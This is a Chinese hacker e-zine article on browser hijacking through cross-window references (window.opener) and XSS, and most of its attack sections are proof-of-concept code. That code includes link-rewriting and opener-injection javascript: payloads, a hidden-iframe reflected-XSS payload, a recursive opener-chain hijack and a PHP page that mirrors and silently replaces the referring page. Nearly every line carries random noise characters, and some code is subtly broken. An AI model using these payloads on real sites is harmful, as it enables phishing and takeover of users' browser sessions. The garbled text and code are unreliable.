==Ph4nt0m Security Team==
8 b, x8 `$ [* `" Z. H# D . B' x2 G) \5 A' R
Issue 0x03, Phile #0x05 of 0x07
# R( L) ]: k& ^" Y3 C / q# ~% J% Q" ~, }2 r
: P8 V. A1 ^" {; f: p# u
|=---------------------------------------------------------------------------=|
" X5 n: f# v, k7 `5 |+ M! p: }3 B|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
7 L- _- I) e8 j! T" ?# U8 v3 z|=---------------------------------------------------------------------------=|
* u9 D$ ?. _1 r0 j( }3 U4 p|=---------------------------------------------------------------------------=|3 p7 E ~/ \+ \ q% O* Z
|=------------------------=[ By rayh4c ]=---------------------------=|0 Y( _3 J. J3 w% Z1 b
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
4 x, F: _1 ~0 H2 F( L: Y|=---------------------------------------------------------------------------=|1 I; a5 J' B0 U' a8 N
( S0 ?( C e( [5 ~3 d
4 m2 P, C0 z k! O[目录]
# Q# D ]7 L0 J; x* ~; u/ T+ c1 f* J% e0 l7 } a
1. 前言 N3 F- R; O1 w; N# C O0 b) k
2. 同源策略简叙+ V8 B/ _3 S" `$ A x! J/ S5 x
3. 理解window对象的同源策略5 L' E; r) M# T+ C
4. 窗口引用功能中的同源策略漏洞1 X: e4 q3 }4 n) t8 n1 V+ s
4.1 父窗口引用子窗口的同源策略问题
' h0 Z- z/ b8 V* ^+ x2 j 4.2 子窗口引用父窗口的同源策略问题% S; z, b, r4 u# ` \9 H' f
5. 利用窗口引用漏洞劫持浏览器7 T3 B' t! b7 n/ p# D1 ~
6. 利用XSS漏洞劫持浏览器# K( \9 E* L# X8 y1 @
6.1 正向跨窗口劫持
# y0 \7 b8 M, Z; }$ C 6.2 反向跨窗口劫持
2 d" E) D: y F2 \4 O! t 6.3 极度危险的跨框架窗口引用劫持) U3 q' F7 P s+ X2 A
6.4 极度危险的正反向跨窗口递归劫持
" g( _1 P& d" p' t' X 6.5 完全控制浏览器
! j4 i( {' {6 C9 ^+ T7. 后记 }7 G) K& G, V
8. 参考
$ L# \9 Z- O# P+ t2 o+ ]5 V* N! b% p4 V# }$ O3 G
- O! S) ?5 t: J8 _+ t
一、前言! ]( R- R/ F; t( ~/ ]
, I9 R) g1 V( v 最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
3 f5 B4 X7 P0 |; g6 B友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
) c% P7 M \1 H1 X劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
; x2 z7 j% u1 h9 ]; h条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
' U6 z3 d! O" I% A5 g3 M0 a/ q' S7 ?+ Y* a. r- k b& l
$ l& v: `# L1 o: Y$ u- V3 O二、同源策略简叙& e" M9 h5 K% [0 E3 ?: B
+ }# s- v. q5 R5 [( X 同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以1 R6 m! P: \4 L! |* n9 O1 Y4 R
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
# q# b' C4 G, Q; w' v, D# ^/ X6 k" ^曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
! S; E( l$ K2 w3 R/ K5 d马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个% K- s; D; f- T8 c/ p0 c
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。; \% ]# s( i |, b7 C( ~
- X7 ?* l7 ^: n$ ^
, }% b ^/ q* Z% Z% ~- s# Q) s9 |6 X三、理解window对象的同源策略
8 W/ @3 e. X( K9 G- ?7 Y# F( N$ y; m/ W+ G
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对: X" K' @$ q1 @3 Z3 p* K' e
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:" [& W) x) x9 a9 |: W# ]0 `" J5 _+ M
~8 `, k& c. h" l2 K
--code-------------------------------------------------------------------------
# i, g* a+ a) q+ W3 P<script language="javascript">
- u/ S2 {; s' N+ _/ I1 xfor(p in window) document.write(p+"<br>");
0 [- U/ M" e. V; d+ w</script>
1 `4 \' Q! R8 `-------------------------------------------------------------------------------% h, g3 u8 ?" R" \2 [& T
5 ?9 u8 s) T+ x7 q5 M/ ^ 这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方# E" [9 ]: z5 A+ ]4 ~; O7 G
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
$ L& o6 O* Y* Y/ H7 @% K这些属性和方法就必须遵循同源策略。2 J6 n3 y4 K L8 J1 |" D
3 {/ F5 w0 C7 R; g 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那! x5 ^' ^4 x6 t% U9 u; C% i
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须8 D7 i! }( O, X! V% W
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这2 q7 i4 M* c: l- T8 {( g7 d0 c
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的7 W7 C }* v: ?, i8 ]3 d
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location) @! S$ a# R( H# e4 w8 ~) o' }' c
属性并没有被拒绝访问。4 h: @- _2 v3 U) A
# t& }- G( V+ ^. ~) A4 E( i
--demo.html--------------------------------------------------------------------' c- i/ O+ G+ V4 R% \7 y
<script language="javascript"> & _2 o6 s( k5 j
function allPrpos(obj) { 1 G: ^5 A; B6 I- h% x
var props = "<table><tr><td>名称</td><td>值</td>";
3 n3 u6 N# ]6 A$ r$ B for(var p in obj){
2 {( o& Z$ |% r if(typeof(obj[p])=="function"){
6 ]; a2 y8 y! @* y) ` obj[p]();
% e0 O: d3 i2 T$ A! Z5 D. V }else{ 5 z% T: c6 t; l
try
- }: ]: i1 H1 n$ ]' p9 _ {
! a9 U1 |( T7 x! _$ B: e3 Q3 D props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>"; ) w4 S3 |6 P' o) c& l+ v
} 6 ^1 E- t. V$ [1 d' P
catch (ex)
/ n6 W8 F4 T% T) O { ! B8 T9 {5 g9 p3 `! h- R3 [
3 G0 j; a9 _% E
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
" s! y# Y1 L5 K } ; e; g) l. Q" a' i& x
; L, V+ X6 p( X/ j: p } 4 K; C% i* z0 c; [, Y7 h p
} + J3 _4 O( ], h4 [0 r- ?% r' J
0 ^* j2 s) g, D4 o1 E document.write(props+"</table>"); + `8 y2 v; l: C: e$ t9 Z% W R* m& y
}
. Z, c* \0 {) {8 n" X1 _4 O
% i6 m w! }6 u" bfunction createWin() {
" K. f4 f' c" p6 u- j! S newWin = window.open ("http://www.google.com");
+ p, s* Y1 q: G' L3 | setTimeout(function(){allPrpos(newWin)},2000);
3 A4 x6 n: X2 n, a) X& E+ Y" R2 [}
. x v1 b( _. p; T, S
& I0 N7 H3 S# @' Q+ }2 X' t</script> * T% I7 f* l% N
) o. N4 B# J5 k* y" q& x<button onclick='createWin()'>创建一个非同源子窗口测试</button>* O2 ~' F4 N0 ^" L( n0 ~5 N
-------------------------------------------------------------------------------7 N" P9 B9 M8 P2 S x
" w" e0 c9 S- ^$ w" I! i
2 U* l- G+ S. i6 N* A7 y% @$ |+ @$ t四、窗口引用功能中的同源策略漏洞7 i% ^' _6 G3 P) _3 ~
4 e! j& c( g8 A! l4.1 父窗口引用子窗口的同源策略问题( i( K v: P2 F, l* Y
7 W' f3 H+ T& `& n 去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,. _# |# }( ~1 \5 P9 l
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道) H! o4 s8 i* C \0 l8 T
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
* H; s. }" @( b行测试,会发现父窗口可以控制非同源子窗口location属性值。
' c# P" v, ~& u! I' T
# l" K5 b+ S5 _--vul1.html--------------------------------------------------------------------8 H$ H: V$ s, I# u1 _" ]. W7 Y9 A
<script language="javascript">
, j; x+ R, y$ q+ p& R3 k+ g/ Sfunction createWin() { * K1 n) e& q% b- S
newWin = window.open ("http://www.google.com"); & X$ M8 f x5 e7 S2 h! V( C% X
setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
0 o' ]/ b) l, g* o/ T$ i# n! p} ' [# Q0 M# V7 H2 O
</script>
) D3 L7 b- P0 k6 y. T' R( m
6 y4 Q( [0 o) j3 O6 U<button onclick='createWin()'>创建一个非同源子窗口测试</button>/ Q2 n8 g, `1 _' Z* M5 k
-------------------------------------------------------------------------------7 Y3 q- ~4 E1 y! }3 Y' F
) d4 }8 ]( @- i! S1 G4 c4 ^* j: b; l9 V1 w; p2 G& D9 {
4.2 子窗口引用父窗口的同源策略问题
* T! S* R( d( `0 R" N; I- \& k5 W" m: O* O
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
+ L$ F6 `" B: `- i# }* q$ R用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们( b7 Y0 X$ [$ C$ l' g2 B, ~/ c
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定6 ^+ {/ C: [3 [5 ?$ P9 H7 N7 r
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
" {1 W2 Q5 V3 n( d
8 f0 t* F* m% R; h: B/ i3 l/ ^% ~--code-------------------------------------------------------------------------
! q. d: S9 z7 E# u: a9 l/ C
7 c$ n* z6 q l; C* [* _* Xjavascript:window.opener.location = "http://www.80sec.com";void(0);! E8 f! V8 J* q6 a
( r$ M6 b2 v) `# X* P4 g-------------------------------------------------------------------------------
7 C' i9 e. ~* ?! \" N/ l4 T, R2 j1 }
! R' ~( r: B8 B3 G- x+ c$ K0 ?. r% C& y
五、利用窗口引用漏洞劫持浏览器
# U' _# ^. o* ^7 x0 h- i2 x! k2 \
# L! w+ @$ C) U6 H* N- _# `- u2 { 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子- K; C& e9 a5 G1 F
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
0 M2 E- U- s) l% ^5 x么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。" H. X, [- V, P
5 k, C! ^" @: N: ]. k1 U2 F" F7 M 我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
- [. s/ x' _; k4 R9 q0 U, F生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
. e( R: y1 ^% {5 J d者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接: ~4 \6 X8 |3 {7 Y+ o8 c( O. l3 @
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下1 H1 T, j( _+ g3 G3 s# F( [/ \
会产生什么可怕的后果。
% Q5 O, E7 ?5 [) T/ q8 @1 K+ a7 ?; B7 f; E3 T: V* J
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
" p; I+ I: v h3 _! E( m: ]. U们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
0 n2 @" q9 U8 i" L9 [这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时9 Y" O2 N/ Y" s: E1 a
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可7 }* [1 h! O+ Z' b
以做更多的事情,所有的一切仅仅是因为点击了一个链接。
, P" n) [, [$ G8 N$ \1 C
6 w* W3 i* J% O--hjk_ref.php------------------------------------------------------------------
+ X1 j& i+ `* r& h+ p<?php; m! _4 S. O' v
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
; c/ M) L) M! X* D# U$Url_Mirror = $_SERVER["HTTP_REFERER"];
( L' Z+ D0 P5 p# o* H} ) M# C5 h8 k3 Y2 b' |) L2 H
if(isset ($_GET['ref'])) {) k y) `/ K( c
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
+ W* R- H) z7 m. K# z}
+ q, m- y3 @- |: S9 F+ X?>
4 {* i6 @/ [" S, j7 V4 x& Z( A7 N% T3 L0 K
<script language="javascript">2 b I9 e% S8 ]+ J3 ^8 f B
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
, Q3 w2 I0 v0 R |$ M' h2 F</script>
/ B; ~# {& _4 e1 Y' t-------------------------------------------------------------------------------
( ~ X5 B- S: e* m+ i7 U4 \6 g, U8 S: q6 M0 C
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
: r" u9 r, j6 O+ ^5 ?: n) O: L8 M& v% a2 ^' V' G/ A
* K' @& J6 v. P( P! o4 O: D2 K六、利用XSS漏洞劫持浏览器) B' c: A H- E4 i9 e6 f! b
9 o1 t* C8 v* {+ W( }! r 延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为2 |% c# w4 D9 x" y I% {
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
- H& k0 B+ z) C' I9 e) [1 gXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
# d. |( T& X( p. N8 Z$ u o6 ?9 b讨论跨站师的终极技巧:
$ d3 ]5 ?' U3 ^* j2 H( |/ o4 u. |" }% N
2 O o0 K! ]2 g# G" v: f6.1 正向跨窗口劫持; r& b- }$ E- _8 m7 j/ m1 `
) u/ ^, p. B# B" O- U8 O6 C7 J# W 大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
* v, x8 H7 Q/ y- G* \! z/ H- S主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链. k; ~/ \0 g9 r) _6 O9 A1 I4 ^
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
0 V- L- o. k; c+ n& k/ B+ d框脚本。
# g) |( j# E0 T- z$ ?
6 f) f5 `8 t7 H. l* m. I9 ]--hijack_open.js---------------------------------------------------------------; y1 O7 ~! W" M( U; k
) C! x% n9 H( B6 B; ]# |0 S3 {
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);8 l# q# o% o8 X1 N/ C; r# }% u
. @5 ~: l( b) a9 c7 A. b& r! m-------------------------------------------------------------------------------
8 H3 k {( o; S& E v" S
& I1 t5 \, L2 c' r- t! `6 ]: Y( V6 b, c1 b
6.2 反向跨窗口劫持4 @4 `% l1 s) Z- }# H# a
8 ?. U% @5 Y8 n4 `# ~. g 同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
6 A* Z( A2 l- `* J: \$ Q* G码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
& _3 |4 {& E3 X! u) j# p) n9 j) E! W8 q. M框脚本。+ s. {; g1 t2 z
2 S0 W8 r" Y$ J \
--hijack_opener.js-------------------------------------------------------------: M, Y+ m7 b* E
5 `% a S& f" e( U& S& X. F7 o' M+ w
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);& H& X6 }, y$ `0 O$ z
h% Z3 F8 D% O: }% G5 n
-------------------------------------------------------------------------------' x& a8 q5 n- {( w" D) ^
( H' g6 r* d6 E( u
4 Y( e& x) S, ^9 O* d* r) U6.3 极度危险的跨框架窗口引用劫持
4 }- U2 y$ o% l, p1 ]& ^( Y3 Y
9 W2 s5 Q0 q4 ?: K 非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞) L4 {) }9 ], ^! T8 d
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
5 _* q. k) C8 K, ~' q( W; ~: k适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个" [8 \5 R$ W9 F. o
非持久型的XSS,如下:
( H, F( R4 O6 D" l/ a3 @$ k6 g: x% X8 _$ {' r
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
- i1 | ?1 h' U& P9 w) a4 k
, R* E. G; I9 {2 O0 K 在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
% ^. N& z. U8 |( {; M1 G: x注入脚本。
& Y& N. ?6 A2 u0 \) L+ q: j8 s' U2 ]! J( d3 \# _- L- h
--hijack_frame_opener.js-------------------------------------------------------
+ ]$ w/ y& ~$ C/ Y<script>
4 W7 K- ~2 A5 L8 N; @4 K: @( Hwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";, V% J3 B. S% f- ~# B: |
</script>
" p2 K7 I u- `5 P# d-------------------------------------------------------------------------------
0 m7 I" Y: x* E8 c; D9 s
9 O% y- R" |- `& c9 |
+ k6 n2 _# L/ w6.4 极度危险的正反向跨窗口递归劫持, u0 |( [$ h/ V+ f+ d. |, i9 R) f
% M0 {; c( u# d$ X
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window. Q: n: {& t4 ]( [5 ?' V( q% p' j- ~
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过9 E* Z; n8 v1 t# y& g6 ]6 I
异常处理规避之间跨域页面的访问异常,代码如下:
' }+ k8 g1 D- l" g% x
' \6 D' u8 M' z/ o--code-------------------------------------------------------------------------
! a2 W+ U% V; P' l& Y- C5 Y( x! @& E% J) i! B* N
javascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
% _; V6 W5 S" G: s$ A% ]/ ?% H% z: Y
-------------------------------------------------------------------------------
; p W# N5 ]1 k+ |
5 O; I, Y. e2 {$ R- u# Q6 |0 | J 假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可: _& ~/ ]( P$ _$ R; _
以劫持B域之前的A域页面,从而实现“隔空打击”。
* M) @. M5 m1 \+ e6 W i; V. S4 o$ w$ {- b1 U4 e
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
7 R. n3 \# r$ T5 R: N执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。( |1 B% K8 q" Y# Z+ q2 S+ W
; Q' @$ N0 l7 V+ b5 i 结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。! M$ l$ \6 q$ u
+ p# T7 \' V" W' ^* }' g& d& @. z$ q! r0 T+ m6 j( L
6.5 完全控制浏览器
; u/ O; \5 g- s- C& p' v* f( P0 r( y
) T( g+ z1 u* E2 Q+ o 一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
3 b. n3 D t* S, c8 A/ _# m是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
W9 R6 [2 c! t9 T6 g3 K漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
) s U. D# s- t5 n- {$ P/ J而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再7 s% C) R t. ?3 y5 E: m1 }, q
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
8 d3 n3 ?0 u4 h7 I师的终极目标 - 完全控制浏览器。
( W8 r0 {; w* Y
+ X, a2 Y, a1 N/ h) u6 b( A* j( f" Q- S! B8 j2 b; X
七、后记
+ L) S7 G+ P5 m L! ]2 F8 H& T$ h: k4 V1 {- T* m4 X/ `, b1 q
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
r; o" ~8 w+ w2 r' M- R与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
. k- _" x: P" a4 `2 r过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
2 P3 p( K+ o; e7 B" V$ j/ X/ P, v5 I- n4 x7 }
/ P2 H4 f/ R9 V; C6 [( L( k4 R
八、参考
! ?9 y/ \: Y. M1 U! o# ? G2 l$ S4 S9 l6 U/ \
1. http://en.wikipedia.org/wiki/Same_origin_policy
/ U- I# o" x; G0 ^0 K5 U8 \2. http://code.google.com/p/browser ... licy_for_DOM_access9 B8 `' c2 S7 N. {- f! A! u, [
3. http://www.w3.org/TR/Window/8 _& v, @) R/ m K" o9 _
4. http://www.80sec.com/release/browser-hijacking.txt
$ k4 m! d( v$ x9 p5. http://www.80sec.com/all-browser-security-alert.html
% j- V% ]/ }4 U4 F7 B2 o6. http://www.80sec.com/ms08-058-attacks-google.html
9 t+ E5 \0 z3 |# b
; k v- [/ \/ E+ ]& S2 F2 M6 k# l4 a-EOF- |